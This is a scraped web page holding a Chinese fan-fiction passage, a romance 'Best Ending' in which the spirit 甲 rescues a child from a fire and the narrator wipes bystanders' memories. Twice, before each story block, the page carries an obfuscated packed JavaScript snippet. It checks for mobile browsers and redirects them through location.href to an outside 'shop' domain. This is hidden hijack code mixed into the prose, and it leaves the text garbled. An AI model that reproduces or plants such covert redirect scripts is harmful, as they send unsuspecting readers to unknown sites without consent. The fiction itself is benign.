;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743491|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，现场变得非常微妙。 在场的三位成年（？）的客人，居然两两互有矛盾。 风息和无限，无限和池年，池年跟风息——据说池年曾经去龙游找过风息，两人打了一架，池长老没讨到好处。 不要问我风息为什么会在这里，我也不知道，我和他不算很熟，只是曾在龙游遇到过。或许他是哪吒请过来的，至于哪吒请人的方式如何，就无从得知了。 话说小黑啊，你的空间系能力可以帮我跑路吗，我真的很想逃避现实啊…… 在我产生这样的想法的瞬间，我突然察觉到了一丝不妙的气息。而上次感知到这种情况，似乎是在请西木子、鹿野和甲过来吃饭的那次。 难道说—— “不是吧？！”哪吒错愕的声音传来，听起来很火大，“又来！！” “而且还换了一批人！” “……” 对不起，无限大人。 风息，你不会是因为我才过来的吧？ 池长老，虽然您的师徒情很感人，但是对不起，您，我就笑纳啦…… 【就这样，我的妖精生活再次像乙女游戏一样展开了。】 15. 甲·Best Ending 【甲·Best Ending-碳酸饮料】 甲的厨艺相当不错。 我大快朵颐了一番，不出意外地吃撑了，于是饭后的消食散步也是理所当然。 甲换了一身休闲装和我出门，这是我特意要求的，好在他的乾坤袋里有备用的衣服。但他甚至都没问我，为什么我让他这么做。 太听话了吧。 “因为我原本就打算这样做。”甲解释说，因为之前的衣服已经沾了油烟味，“不过，我还是有点怕你的理由是我不适合穿正装……” 诶，为什么？ “毕竟我很难做到像前辈们那样成熟可靠，就想着至少要在外表上改善一下。”甲叹了口气，“结合鹿野大人的评价，我显然是搞砸了。” 好可爱的顾虑。 虽然说人靠衣装，但这话也不是绝对的，其实我觉得他怎么穿都很可爱哦……我原本想这样安慰他，意外却突然发生。 只见甲神色一凛，目光落在了不远处。 “不好，着火了！” 嗯？！ 我顺着他看的方向看了过去，果然，有滚滚浓烟正在冒出来。 来不及多说什么，我们默契地朝着那边跑了过去，然而现场的情况比我的预想更加糟糕。已经有人联系了消防员，小区里的违规停车现象却阻拦了消防车的进入，而在着火的楼层，依稀能够听到呼救声，是个小朋友—— 这样下去，那孩子会被浓烟熏晕的！ 我紧张地环顾左右，试图寻找救助被困者的办法，可就算我们把挡路的私家车挪开，这样大的火势，小朋友恐怕无法坚持到消防员救援的时刻。 怎么办，总不能眼睁睁地看着吧？ 千钧一发之际，甲突然说道：“我去救人。” 什么？我惊讶地看向他。 甲是打飞上去救那孩子吗？这是可行的，但是太危险了，先不说他的能力对于火灾没什么优势，会馆要求妖精不能在城市里暴露自己的身份，现在有好多人类在看着，甚至还有人在拍视频…… “前辈。”他握住了我的手，“其他就交给你了。” 交给我？ 我怔怔地看着他。 不同于他先前在我面前乖顺的模样，现在的甲，看起来相当可靠。 ……也相当迷人。 “请像您以往支援师父他们那样，成为我的后盾吧。”甲认真地说道，此时此刻，他的声音和他的神情一样严肃，却又充满笃定。 “我相信您，也请您相信我。” “……” 电光石火之间，勇敢的蝙蝠侠朝着高空飞去。 与此同时，周围立刻响起了人类的惊呼声。 然而下一秒，所有人的眼神都变得空洞起来，只有玻璃被打破的声音还在回荡。 ……唉，我早该想到的，不是吗？ 西木子是心灵系，而我与他师出同门。 鹿野的回忆里，我们遇到了难缠的心灵系妖精，而我在先前与对方的对抗中受伤。 修改记忆，是心灵系的基本功。 不得不说，某种程度上来说，年下还真是相当任性啊，一句简简单单的话，就能让身为前辈的我，为他疲于奔命—— 修改记忆不是难事，稍微有些麻烦的是，要趁着人类被催眠的时间，把监控和手机视频拍下的画面处理掉。要知道，不只是“在场的人”有着拍摄的可能，周围的居民楼或许也有人正在围观。 就这样，在确认善后已经完全没有问题后，我立刻丢下这些如梦初醒的人类，朝着甲先前落下的方向跑去。 奔跑，再奔跑…… 看到了！受伤的小朋友被甲放在了停在小区外的救护车上…… 那么，我要找的小朋友又在哪里呢？ 片刻之后，我找到了甲。 他看起来很狼狈，脸上有几块地方黑漆漆的，是烟熏火燎过的痕迹。衣服也脏兮兮的，有被火灼烧过的破洞。 可比起这些我能看到的，我更担心我看不到的地方。 “甲！”我迅速地冲过去，闻到了扑面而来的烟熏味，“你的翅膀怎么样？有没有受伤？” “就是因为没事，我才收起来了。”甲连忙解释道。 真的吗？ “真的，抱歉前辈，让你……” 甲应该是想说让我担心了，可他这句话没能说出来，因为—— 在被甲推开的瞬间，位于脚下的喷泉孔突然冒出了源源不断的水流。像是从地下升起的大雨一样，哗啦啦啦，不由分说地将人笼罩。 甲被喷泉浇了个透心凉，整个妖精都湿漉漉的，和刚出门的时候完全不一样。不过他也借此抹了一把脸，脸上被烟熏出来的黑色污渍倒是擦掉了…… 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743492|189765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喷泉终于安静下来的时候，狼狈不堪的甲看起来非常沮丧。 “对不起，我又搞砸了……”他垂头丧气地说。 才没有，他明明就表现得很好！ “我……”甲低着头，看向脚底的流淌的水流，“其实，我没有前辈想得那么好，我只是想要在您面前逞英雄。师父，西木长老，鹿野大人，他们都很厉害，能够保护自己想要保护的，我也想像他们那样。” 所以他非常努力，他很努力了。 只是有些事或许不是依靠努力就能追上的。 “我总是做得不够好。” “……” 不论怎么说，他都救了那个小朋友呀，我相信就算我不在这里，他也会做出同样的选择。 我的小蝙蝠同学仍旧怏怏不乐。 于是，我轻轻地叹了口气，向他倾身。 甲茫然地抬头，与我对视。 随着我的靠近，我们之间的距离逐渐缩短，就像要进行贴面礼那。甲大概以为我会这样做，可在下一刻，他错愕地睁大了眼睛。 因为，触碰到他脸颊的…… 不是我的脸颊。 青蛙被亲吻后会恢复原本的模样，变回王子，那么，甲会如何呢？ “你，你怎么……”甲支支吾吾地说，“前辈这是偷袭。” 所以我才是前辈啊，我才不会像他，做什么事之前要问一句“我可以吗”。我要让他知道，就算他此时此刻很狼狈，我也不会嫌弃他。 “听好了，小甲同学。”我微恼地看着他，“你或许永远不会是童话世界的王子，就连第一次在我面前变成人的时候，翅膀也保留了一边，这很失败。但是，你绝对拥有比王冠更珍贵的存在。” 那就是，我的爱呀。 “告诉我，你是什么时候意识到自己喜欢我的呢？”我轻声问他。 “……” 甲沉默了几秒钟，回答道：“你教我打领带的时候。” 我不由得笑了出来。 真是好寻常的瞬间啊，不像文学作品里的爱情，总和宏大的事件有关…… “感觉……我现在好像碳酸饮料。”甲忽然说道。 什么？ “咕咚咕咚。”他低低地笑了一声，“一直在冒气泡。” 【即使失去记忆，我也仍旧会，再次爱上他。】 END